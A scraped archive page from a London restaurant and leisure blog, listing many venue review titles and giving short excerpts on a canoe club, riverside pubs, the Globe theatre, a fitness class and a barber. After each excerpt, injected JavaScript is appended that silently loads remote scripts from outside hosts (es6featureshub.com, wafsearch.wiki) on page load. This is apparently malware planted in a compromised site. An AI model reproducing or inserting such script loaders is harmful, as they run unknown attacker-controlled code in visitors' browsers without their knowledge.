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February 2014 Archive

Hearty options await at No 11 Pimlico Road, Victoria

Putting the hip into Hackney at La Terraza, Number 90 Bar & Kitchen

Variety is the spice of life at Roof East, Stratford

Love is in the air at Island Grill, Lancaster London hotel

Simple, decent and honest food at Brother Marcus, Balham

Get the Carnevale di Venezia experience at Columbia restaurant at Docklands Riverside

Rooftop film Club: Enjoy cinematic classics on top of the Bussey Building, Peckham

Ichiryu is the Ichiban choice for udon lovers in London

Medieval Banquet jester

Top Things To Do Along Thames Riverside

TPH of Chelsea: It’s a new direction for renowned chef Yogesh Datta

Mint Leaf: Championing fine dining for Indian cuisine lovers

Redefining our perception of Caribbean cuisine at Cottons, Notting Hill

It’s more than a laundry for Hackney hipsters at Wringer and Mangle in London Fields

Come fly with me at Butchies, Shoreditch

Cocktails at Eaton Square

Eaton Square Restaurant and Cocktail Bar- Flavours of the Mediterranean in the heart of Belgravia

Deceptively simple Italian classics on offer at Osteria 60, Kensington

Surf n Turf with Jimmy’s Pop-up in Clapham via Tabl

Vapiano Tower Bridge - Italian casual dining restaurants in Europe

Pasta fans rejoice at the opening of Vapiano Tower Bridge

Immerse yourself into the world of The Grift and The Town Hall Hotel

Fall in love with Japanese cuisine at Murakami, Covent Garden

Talli Joe: The standard-bearer for modern Indian cuisine

Dinner Time Story: Redefining the dining experience one pixel at a time

28-50 Maddox Street: For those moments, when only Champagne will do for lunch

Experience a taste of Spain at Camino Bankside

Manitoba Tigella Kitchen Bar: bringing an ancient Italian recipe back to life

It is time for Bloody Marys and board games at the Natural Philosopher at Hackney

Sushi Shop: The French show us how it should be done in their conveniently located Marylebone branch

Feast on the best of world food at Kerb, Camden

A time for celebrations at London Shell Co, Paddington

Flavour Garden: a healthy sanctuary for time-conscious city workers in Tower Hill

Opso: It’s no Greek tragedy on Paddington Street, Marylebone

Pepper Tree Big Breakfast

Thai Food in London – Clapham Common

The Painted Heron: The best value Indian restaurant in Chelsea

Building a sense of community at Neighbourhood, Stratford

A smorgasbord of meatilicious delights at Bodean’s BBQ Covent Garden

A showcase of Finnish innovation at The Harcourt, Marylebone

Life’s a beach at the Montague on the Gardens hotel

Princess of Wales - Primrose Hill

The Princess of Wales Pub: Pride of Primrose Hill That Even Banksy Can’t Resist!

Rigo: Fine dining in a neighbourhood restaurant in Parsons Green

Enjoy a carefree and alternative brunch at KuPP, Paddington Basin

Resistance is futile at the London Wonderground, Southbank

It’s a jungle out at Backyard Cinema’s Lost World at Borough

Transporting you to a winter wonderland at the Montague Ski Lodge

Leman Street Tavern: Another quality-assured offering from the Geronimo Inns

Dinner at the Twits: the most gloriously gruesome immersive dining experience you will ever experience

The Belrose: a gastropub to warm your cockles this winter in Belsize Park

Blades at Hush: Where steak, lobster and whiskies reign supreme

Your hunt for the perfect bottomless Sunday roast should end at OXBO Bankside

Aerial Hoop Acrobat

Move back in time at The Medieval Banquet

Prepare for an antipodean invasion at Ben’s Canteen, Battersea

Aviary: There is no holding back this Phoenix at Finsbury Square

A Japanese drinking den that is a cut above the rest at Kiri, Mayfair

Lancaster London’s ARTea Afternoon Tea: A masterpiece for all food lovers

An oasis of calm at Muriel’s Kitchen in Soho

Working with local suppliers at Borough Market is the key to Arthur Hooper’s success

Speed and substance on offer at Forge, Bank

Thyme and Lemon: Delivering a taste of Madrid in the heart of Islington

Life is a cabaret at Circus, Covent Garden

Frog exhibit in the Grant Museum of Zoology

Best Hidden Museums in London: Try these less known favourites

Latino flair is alive and kicking at Asia de Cuba, Covent Garden

Zia Lucia: A new neighbourhood pizzeria for the upscale residents of Brook Green

Serenading singers and liquid libation abound at Archer Street, Soho

The Holy Birds in Spitalfields: A poultry restaurant fit for the President of the United States

Live life to the fullest at High Timber, St Paul’s

Relive the nostalgia of old Hong Kong at Cha Chaan Teng in Holborn

Enjoy the stripped back elegance of the tasting menu at Anglo, Farringdon

Seafood lovers rejoice at the poke bar, Black Roe in Mayfair

Authenticity is the key at the Japanese restaurant Engawa in Piccadilly

Donostia Social Club brings restaurant quality food to The King & Co in Clapham

Get hook’d on new school fish and chips at Camden Town

It’s time for a steak out at Smithfield Market

Vicino: the trattoria serving honest, unpretentious and genuine Italian cooking

Bet on a surefire winner at The Fellow of King’s Cross

35 New Cavendish: Get the luxury of a private member’s club without the exorbitant prices

Smoke and Salt: the perfect partners in crime at this Islington pop-up

Tombo: Come to Soho’s first authentic Poké and Matcha Bar

La Petite Provence at The Folly: A little gallic summer delight in the heart of the City

A journey to discover the best of British at the Betjeman Arms

Thai Silk in Waterloo: All the Thai classics you want and more

Oliver B

Top talent to watch out for in London for 2015

Feel the spirit of summer with the imbibing masterclasses at Bourne and Hollingsworth Buildings

The Pagination, Canary Wharf: Cosy nights await at this slick, modern bar

Galvin HOP: Redefining the pub experience at Liverpool Street

Six Storeys on Soho: Refined elegance from the first floor to the loft

PAUL showing us L’Art de Vivre with their faultless afternoon tea offering

Chocolate cupcakes from Primrose bakery

Best Bakeries in London to Indulge Your Sweet Tooth

Shoryu: The King of Ramen extends into Covent Garden

Omar Allibhoy’s Tapas Revolution brings accessible Spanish cuisine to Shoreditch

Welcome to 24 hour London at VQ Bloomsbury

The mischievously charming Encant will tantalise your taste buds

Benihana Chelsea Restaurant - Indulge in Japanese cuisine

Immersive dining at its finest at Benihana, Chelsea

The very best of all-day dining in the heart of Camden at Atrium Kitchen

Sozai Cookery School: Be a master chef of Japanese cuisine

Chotte Matte – Putting sexy back into vegetarian dining

Zia Lucia: The independent pizzeria that is going from strength to strength

The unstoppable gin revival continues courtesy of Graphic bar

Wünderlust at the Big Red: You insatiable appetite will be satisfied by this double-decker

Sumptuous steaks to salivate over at Smith and Wollensky, Strand

Trinity Arms: A traditional local pub you can rely on for Brixtonians

Journey into the Amazon with Pisqu’s head chef, William Ortiz

The Prince Alfred: A gastropub fit for royalty

Food for thought at Jenius Social, Islington

Drake and Morgan delivers once again at The Refinery, Bankside

Sarona – a modern restaurant breaking down Middle Eastern stereotypes

Troia: an all-encompassing Mediterranean and Middle Eastern restaurant in Waterloo

Visit Bridget Jones’ local at The Globe Tavern, Borough Market

Parliament Hill

Savouring the joys of Pure Indian Cooking in Fulham

It is back to basics at Rök smokehouse, Shoreditch

Live At Zedel: Cocktails, lights and action in the heart of Soho

Gaylord: over 50 years of excellence serving Indian cuisine in the West End

The Athenian: From a small street food venture to building an empire

Fine dining in a family friendly environment at Chriskitch Hoxton

The bar is raised high for fine dining Indian cuisine at Darbaar, Liverpool Street

Primavera: A sparkling gem on a quiet stretch of New King’s Road

Amici Miei: a neighbourhood Italian restaurant we would all love to see on our high street

Ma’Plucker: 3-way chicken that impresses the West End crowds

No daylight robbery at Heist Bank, Paddington

Winter warmers await at the industry leading, Royal China on Baker Street

The flames of creativity are burning bright at Ember, Monument

Experience ultimate liberation at The Bunyadi

The Piano Works: Sing us a song you’re the piano man

Fulfill your diva dreams at Lucky Voice Soho

Shining a spotlight on Chinese regional cuisine at Chinese Cricket Club, Blackfriars

Rosa’s Thai Cafe Seven Dials in Covent Garden | Townfish

Hearty dishes on offer at Rosa’s Seven Dials, Covent Garden

A gastronomic Chinese odyssey with Andrew Wong

The Localist, Farringdon: A neighbourhood restaurant fit for any community

DSTRKT London: More than just a world-famous nightclub in the West End

Benito’s Hat: Riding the Mexican wave of success

Be bowled over by the gregarious British hospitality and fine American cuisine at All Star Lanes Bayswater

Exploring the varied flavours of Indian history at Grand Trunk Road, South Woodford

Enjoy the Fabulous Adventures of 698B via Tabl

Get your daily dose of Chicken from WingsEggs

Expect a classy gastropub experience at Drunch, Regents Park

Serving deliciously different meat-free cuisine at Ethos, Fitzrovia

Minnow: One to watch in the giant Clapham pond

A social dining experience at Popdown by Cuisson, Borough Market

Shake Shack: Shaking up the burger scene on New Oxford Street

Experience a Perfect Day at Sticks ‘n’ Sushi Victoria

Patience is a virtue at the Savannah restaurant, Euston

Diciannove: Mixing business with pleasure Italian style at Blackfriars

Boondocks: Taste one of the best American brunches on this side of the pond

Eneko’s star is shining brightly at One Aldwych Hotel

A picture perfect dining experience at Sake no Hana, Mayfair

Indigo restaurant: Where using the finest seasonal ingredients means more than advertising jargon

A gourmet menu awaits at Duke of Clarence, South Kensington

A Japanese omakase feast for all raw fish lovers at Kikuchi, Tottenham Court Road

Two Ruba: Cocktails that blossom at Tower Bridge

Gyoza Bar in Covent Garden: assured and speedy service ideal for theatre-goers

Burger Shack and Bar: Serving up popular British classics in Wimbledon Village

Fall in love with the breadbasket of Italy at Gotto Trattoria

Brew Cafe Putney

Fire up the BBQ with some Antipodean-style dining in Putney’s Brew Cafe

Made of Dough: A new rising star on the London street food scene

Celebrate the culinary delights of the Mediterranean and South America at Monmouth Kitchen in Covent Garden

Brace yourself for a visual feast at 100 Kensington at The Exhibitionist Hotel

108 Brasserie: When you need good, simple and honest food

Time to go back to the future at Kojawan

Escape the crowds of Oxford Street with a discreet dining experience at Hunter 486

Pavilion wines starts the foodie quarter revolution in Sloane Square

40 Dean Street: serving the Soho community with classic homemade Italian dishes

Choice and variety are in abundance at Pasta Remoli, Finsbury Park

Learn to cook like a Valencian at London Paella School

Exercise your democratic rights at Zia Lucia, Holloway Road

Accept no substitutes, when you can get the real deal at Mestizo, Euston

Judy Joo’s Jinjuu is a jubilant joy

Tea House Theatre: Relaxing Tea with Tradditional Entertainment

Shuang Shuang: High-concept hot-pot restaurant in the heart of Chinatown

Revisiting an old Chinese classic at Royal China Queensway

Appearances can be deceiving at Aquum, Clapham

It’s a dim sum surprise at Fu Manchu, Clapham North

Radio Days Fashion Shop

Radio Days: Strike Vintage Gold in Waterloo

The Greek Larder: Food from the Godfather of Greek cuisine in London

Sumptuous views and succulent steaks at Butlers Wharf Chop House

Pilpel: a falafel and houmous specialist with fire in their spirits

No.29 Power Station West: The cool hangout of choice in the future at Battersea

Your detox regime starts right here at Maple and Fitz

It’s a neontastic wonderland at God’s Own Junkyard, Walthamstow

Discover the art of grilling at Omnino Steakhouse in Aldgate

The Victor Garvey empire grows from strength to strength with their latest addition, Rambla

The Alfred Tennyson: refined yet relaxed dining in upscale Belgravia

Adam Handling: From Masterchef to The Frog

Smart casual dining delivered effortlessly at Town House at The Kensington

Live music sessions on top of the world at Sky Garden

Trader Vic’s: the original fusion restaurant that was ahead of its time

Wine, dine and recline your seats at the luxury film club at Brasserie Max

Pan-Asian food lovers still flocking to the plush Buddha Bar in Knightsbridge

Polo Bar: the 24/7 Great British cafe in Liverpool Street

A Thai masterclass delivered with panache at Food at 52

Inamo: Technology still reigns supreme at their new Covent Garden branch

From Jamaica to Dalston, savour authentic jerk cuisine via Rudie’s

Take a journey along the Silk Road with Samarkand in Fitzrovia

Main entrance of Boulestin

Boulestin Restaurant: French Dining in the Heart of Piccadilly

Discover a Little Bat out of heaven at Islington

Comfort food that will melt your heart at The Phoenix

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thinking bob : Taking social events off-line and back into the real world

Le Garrick celebrates the Vive La France spirit with their revamped decor and menu

A culinary journey across the world at Brasserie Blanc, Southbank

It is time to savour One Canada Square’s bottomless after dark menu

Tibits Vegetarian Restaurant

Sumptuous Vegetarian Restaurant in London in Regents Street

Simpson’s in the Strand: a powerhouse that has stood the test of time

A synergistic success for Carluccio’s at Marriott Regents Park

Souk Medina: Bringing the magic of Marrakesh to Covent Garden

Fashionable May Fair Kitchen has the exquisite choices to please the most demanding of diners

Mary Ward Centre Adult Education College

5 Interesting Courses in London

It’s back to black at Pizzicotto, High Street Kensington

Absolutely Starving in London Bridge – Serving locals and tourists alike for more than 30 years

Enjoy a refined Thai culinary experience at Patara, Hampstead

Trade Union, Wapping: the pioneering model for new businesses

Enjoy a bouncy night out at Ballie Ballerson, Stoke Newington

Mei Mei’s street cart delivers cool Chinese comfort food at The Prince, Wood Green

Designer surroundings and an informal brunch menu at No197 Chiswick Fire Station

Boris Bikes

Getting Around London: 7 Alternative Ways to Get Around Town

You always get a hearty welcome at Yumi Izayaka on Shaftesbury Avenue

Ethical dining with wild foraged seasonal produce at Shanes on Canalside, Hackney Wick

City of London & Cripplegate Photographic Society

Revealing the secrets of the immersive theatrical experience Maman Le Mot

Where else would Romeo’s Sugar Free Bakery be apart from trendy Upper Street, Islington

The Petite Corée: the little neighbourhood bistro with a big heart

Gino D’Acampo My Restaurant: An Italian affair with Gino at Euston station

Salivate at the sight of Mussel Men’s seafood selections

Celebrating femininity and fine dining at An Evening of Meat at The Vaults, Waterloo

Plate restaurant at M By Montcalm: bringing classical greatness to tech-savvy Shoreditch

Liberty London: Beautiful British Fashion and Modern Design

Tsunami – Delivering refined Japanese excellence to Clapham’s cognoscenti

The Elgin: An iconic institution revitalised in the heart of Ladbroke Grove

Ichiryu is the Ichiban choice for udon lovers in London

The Trading house: An imbibing institution for the most demanding of drinkers at St. Pauls

Travel the world from the comfort of Foley’s dining room in Fitzrovia

Italian dining at Bocconcino: Mayfair settings without the attitude

Alexandrie: Fine dining Egyptian style in the heart of Kensington

Herman ze German, Fitzrovia: ja, das ist wunderbar!

Balans Soho Society: A fitting tribute to the late Prady Balan

Get the Caribbean vibe at Rum Kitchen, Brixton

Expect service fit for royalty at Lanes of London, Marble Arch

Blind Spot: Hitting the spot for imbibing enthusiast in a hidden speakeasy in Covent Garden

A delectably different dining & drinking experience at Dans Le Noir

Altitude London View

Surf and Turf to London’s best panoramic views

Relish the charms of Clapham at No32 The Old Town

Avant-garde Indian cuisine in the futuristic looking Crossrail Place, Canary Wharf

There are only winners at the Heliot Steak House in Leicester Square

Team-bonding is the name of the game at Swingers, the City of London

It’s Chicken Vs Chicken at On the Dak, Covent Garden

Bottomless Pizza, Pimm’s and Prosecco and Ealing Park Tavern

Serving up Anglo-American winners at the Loft, Wimbledon

Take a tour to the Tuscan countryside at Enoteca Pomaio, Brick Lane

Pont St: Top female chefs like Sophie Michell needs your support

Variety is the spice of life at Mister Lasagna in Soho

Finding a hangover cure at the Jam Tree Chelsea

Haché Shoreditch: Gourmet Burgers with Global Garnishes

Lazeez Lebanese Tapas: Bringing downtown Beirut to the heart of the West End

Divas and dining at TWID, Battersea

Vegetarians and egg-lovers rejoice at Cafe Loren in Camden

The Crown Tavern: Traditional British pubs still the choice for imbibers at Clerkenwell

Burn off your calories and enjoy delectable delights at Bounce Shoreditch

Flavours of the Amalfi coast delivered to your plate at QP LDN, Mayfair

Treat yourself to a Winemaker’s dinner at Ristorante Frescobaldi

Experience magic and sparkle this Christmas at Nordic Yulefest

Potent flavours collide at P.F Chang’s Asian Table, Covent Garden

Eco, a Clapham institution that has been serving classic Italian dishes for over 20 years

Sunday night blues never felt so wonderful at Oslo, Hackney

The Refinery CityPoint: Where customer service is king

Kanada-Ya: Battle of the ramen bars on Panton Street in the West End

Golden Dragon at Bang Bang Oriental sets the standard for high-quality Cantonese cuisine

Wine and dine in atypical style at the Lyan Cellars pop-up

HIPCHIPS: Are you trendy enough for these delectable crisps in Soho?

Feel the East London vibe at Behind This Wall, Hackney

Vive le Hambuges as long as they are made by Big Fernand

Zuma: A restaurant that truly stands the test of time

It’s a classy culinary encounter at Galley, Islington

A mouthwatering Japanese menu for the discerning at Sakagura, Mayfair

Is Cinnamon Bazaar the spice of life Covent Garden has been waiting for?

Pornstars, mood lighting and Dolly Parton. Welcome to Rocket Holborn.

The interior of Uncorked

Best Wine Shops in London for Tastings

Exotic flavours in abundance at Caraway Lounge, Romford

The Poke phenomenon is showing no signs of abating with the launch of Honi Poke in Soho

French flair aplenty at The Balcon, London

A masterclass in perfection at Gaucho Hampstead

Ping Pong Restaurant in Southank | Enjoy Lazy Sumday Delight

Lazy Sumday will be your kind of Sunday at Ping Pong, Southbank

Arlo’s: Offering simplicity and substance for steak-lovers in Balham

Cha Cha Moon – Noodles to nourish your soul at Kingly Court, Carnaby Street

Discover the whisky for you with 101 choices at the Gallery, West Hampstead

Italian cuisine with soul at L’Anima, Liverpool Street

El Pirata of Mayfair: they just don’t make restaurants like this anymore

Forget shaken or stirred, have your cocktail set on fire at The Alchemist

Experience Sunday brunches with a difference at Cinnamon Soho

Back to basics with convivial pub vibes at The Lord Palmerston

Santa Maria Fitzrovia delivers authentic Neapolitan pizza to the London cognoscenti

Sixty One Kitchen Chefs

Relax, Enjoy and Unwind in Modern British Neighbourhood Restaurant Sixty One

Enjoy the vintage glamour of The Alice House in Queen’s Park

The Victorian Bath House, Bishopsgate: A hidden gem in every way

There is no stopping the all-conquering Saiphin Moore at her latest restaurant, Rosa’s Thai Cafe in Victoria

Escape the shopping madness of Knightsbridge at The Egerton House Hotel drawing room

It’s all about the gentrified Sunday roast lunches at The Commercial, Herne Hill

Pilates HQ: Improve Flexibility and Strength

Historical grade-II listed gastronomic bar & restaurant London

Meat and Shake: Sublimed grilled meats and dreamy milkshakes for all Londoners

Night Tales: Keeping Hackney firmly hip and happening

10 Ways to Spice Up your 2015 Valentine’s Day in London

Northbank, St Pauls: Bringing sustainability and seasonality to the fore

Cielo Blanco: The modern face of Mexican Street food at Exmouth Market

Sail away into the sunset with a Thames dinner cruise with Citycruises

Bluebird: the iconic Chelsea venue is flying high again

It is all about the pizza, pies and cider at the Stable Whitechapel

Sharing the flavours of the Levantine at Ceru in South Kensington

Tootoomoo Islington: a bottomless brunch offering with variety and vitality

Old school charms on offer at Gatti’s Italian restaurant in Moorgate

Chi Kitchen: Jack of all trades, master of all

Kurobuta Marble Arch delivers top-notch Japanese sharing plates in a bustling environment

Inn the Park: An oasis of calm in the centre of town

José Pizarro shines in the playground of the bankers at Broadgate Circle

It is all about the ingredients at Sushi and Robata, High Street Kensington

A Sunday roast fit for royalty at the The Marquis Cornwallis, Bloomsbury

A winning gold medal for the pop-up, Rio Boteco in Hackney

Titu, Mayfair: Is this the smallest restaurant in London?

Sushi in the City: your gateway into a private member’s paradise

LASSCO Bar & Dining: a quirky imbibe and dine experience in close proximity to Maltby Street

Soho Wala: Exotic Indian Street Food in the West End - Townfish

Time for a quick bite at Soho Wala in the West End –

St Luke’s kitchen at Library: A genuine hidden gem in the heart of theatreland

Theatrics guaranteed at the fabulous Vaulty Towers, Waterloo

Explore exclusive wines at 1901 Wine Lounge at Andaz London Liverpool Street

Dalloway Terrace: Refined afternoon tea to savour in the heart of Bloomsbury

Romance is in the air at Le Garrick Covent Garden

Pasta is always the answer at Fat Tony’s, Marylebone

Lima Floral: A Peruvian gastronomic masterclass from Robert Ortiz

Party like there’s no tomorrow at The 90s Brunch

House of Godo: an authentic Italian takeaway experience

The Prince Albert: Impressing diners and drinkers since 1866

Veneta in St James’s: Another jewel in the Salt Yard group empire

Fantastic Handyman

Fantastic handyman: when you need a real man around the house

More than just noodles at Sasuke Ramen, Southbank

Flying the flag for British cuisine at The Well, Clerkenwell

Quality wine is the remedy to cure all ills

White is the colour this festive season at Southbank Centre’s Winter Festival

Pan-Asian delights await your visit at Nirvana Kitchen, Marylebone

Discover the real origins of the gourmet sandwich at Cafe Mish in Mayfair

Introducing the delights of Pugliese cuisine to the residents of Snaresbrook at Bombetta

Gluten-free diners rejoice at the tremendous options available at Niche, Islington

Hearty home comforts at Mustard, Shepherd’s Bush

The Pepper Tree: Is Thai food the best hangover cure around?

Drink life to the lees at the Alfred Tennyson

A wine pairing paradise awaits at Les 110 de Taillevent London

Experience the exquisite taste of Peru at Señor Ceviche, Soho

Islingtonites rejoice at the wonderful all day menu at Fig & Olive

Panda by Otto Schade

Street Art in London: Top 27 Artists

Enjoy the thrills and spills of live sporting action at Greenwood, Victoria

The Square Pig: a traditional English pub with a refreshed modern-day menu

You will be crazy to miss Junkyard golf in Brick Lane

Bucket Notting Hill: Seafood Delight with a Mediterranean Twist

Bucket: Enjoy seafood by the bucketful in Notting Hill

Small plates of Turkish delights at Oklava, Shoreditch

Get inspired to cook at The Avenue Cookery School in Wandsworth

Long bar at the Sanderson, Fitzrovia: a designer bar for the fashionista crowd in London

Admire the steam punk beauty of Flora Indica in Earl’s Court

Pho and Bun in Chinatown | Savor Authentic Vietnamese Flavors

Experience a taste of Vietnam at Pho and Bun in Chinatown

Catch the best sporting action at Frankie’s Sports Bar & Grill in Fulham

Achingly hip pizzas from the Elliott Brothers at Pizza Pilgrims Soho

The trains on top of Village Underground

Best London Art Galleries

Westminster Kitchen: Another success story from restauranter Ibrahim Dogus

Records in Phonica

London’s Best Record Shops

The King of Ramen hits St James’s

Hankies: Accessible, aromatic Indian cuisine from Anirudh Arora at The Montcalm, Marble Arch

A new culinary institution is born at Hatchetts, Mayfair

Marquis of Wellington: London’s very first street food pub on the famous Bermondsey Beer Mile

Southern French comfort cooking at Sardine, Old Street

Experience the circle of life at GONG at Shangri-La Hotel

It’s party time at Belgo Holborn with mussels and Belgian beer

Experience the Mediterranean at the Life Goddess, greek experimental divine

Ye Olde Cheshire Cheese sign

Top 15 Oldest Pubs in London: Soak Up Some History

Homemade tapas dishes expertly executed at Cigala, Bloomsbury

Traditionalist are well catered for at London Steakhouse Co. in the City

Savour classic French dishes from Raymond Blanc at Brasserie Blanc Southbank

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Hardy's Original Sweet Shop in London

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Pop Boutique

Pop Boutique: Mod Essentials in Covent Garden

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Castle Canoe Club

Castle Canoe Club: Water Workout in East London

Kayaking is a great workout challenge and a fun way to soak up the rare London sun. We recently found the perfect place to pick up a paddle - right in the heart of East London. The Castle Canoe Club is a canoe/kayak club based at the West Reservoir Centre, a tranquil body of water just off Green Lanes, Stoke Newington. ;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);

22 Feb 2014 | 3 Comments

Old Salt Quay: Roast and Barbecues on the Waterfront

If you've ever taken a trip down stream with the Thames Clippers river boat service you may have noticed a large circular pub as you wind round towards the Isle of Dogs. This pub is now named The Old Salt Quay.;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);

21 Feb 2014 | 2 Comments

The Globe: Shakesphere on Southbank

Some of you may wince at the thought of an evening with Shakespeare, but whether you are fan or foe, there is something pretty special about paying homage to our country’s greatest playwright in the theatre capital of the world. Throw in a stunning venue, the open air, and a calibre of actors that could make poetic verse of the phone book, and you get Shakespeare’s Globe. Overlooking the River Thames, The Globe is dedicated to the performance and exploration of our beloved bard’s greatest work. Even those who liken his text to double-dutch or gobbledy-gook will struggle against the sheer quality of the cast and creative’s as they bring his tragedies and comedies to life. I always forego a gallery seat in favour of the five pound yard ticket, where you can raise a drink and holler amongst the other groundlings. The rowdiness of yesteryear is no longer encouraged, but a bit of direct address and banter with the actors is often included. The season runs until October, and if you want my recommendation: get yourself down there quick smart for Much Ado About Nothing, starring the effervescent Eve Best and Charles Edwards.;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);

21 Feb 2014 | 0 Comments

The Anchor: Pitchers and Pints by the River Thames

A stroll along the Southbank is the perfect way to absorb the classic London scenery, whilst enjoying the hub of bars, shops and restaurants overlooking the breathtaking sites of St Paul’s Cathedral and London Bridge. When the sun shines, which it occasionally does in this country, what better way to soak up London than reclining beside the River Thames with a cool bevvie or three? Situated beside Southwark Bridge, The Anchor pub is one of my favourite summer hotspots. This age old watering hole has survived through the centuries, serving the likes of Samuel Pepys and writer/lexicographer Dr Johnson (whose dictionary remains on display). That’s the history lesson. Now to the point. The Anchor offers an unrivalled riverside terrace, and is the ideal place to meet with friends for a cool pint and some classic pub grub. Let us be clear; if cocktail chic and canapé sized courses is your bag, head to the Oxo Tower. But city groundlings like myself will feel far more at home relaxing in a ringside river seat and passing round the hand cut chips and Pimms pitcher.;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);

21 Feb 2014 | 0 Comments

Friskis & Svettis: Swedish Fitness With a Smile

When you walk out of your first Friskis experience you're not sure what is hurting more, your aching body or your cheeks. This is a fitness class that provides a full-body workout which even includes your Zygomaticus (smiling) muscle!;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);

21 Feb 2014 | 21 Comments

Jack The Clipper in Whitechapel

Associations of being on the end of a switchblade in deepest Whitechapel will always conjure up images of fog-bound Victoriana. But that shouldn’t stop you taking a trip into latter-day Whitechapel (as yet still ungentrified - but they’ll get you my pretty, oh yes) and heading for Jack the Clipper for the shave of your life.;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);

21 Feb 2014 | 7 Comments

Grand Union Bar, Wandsworth

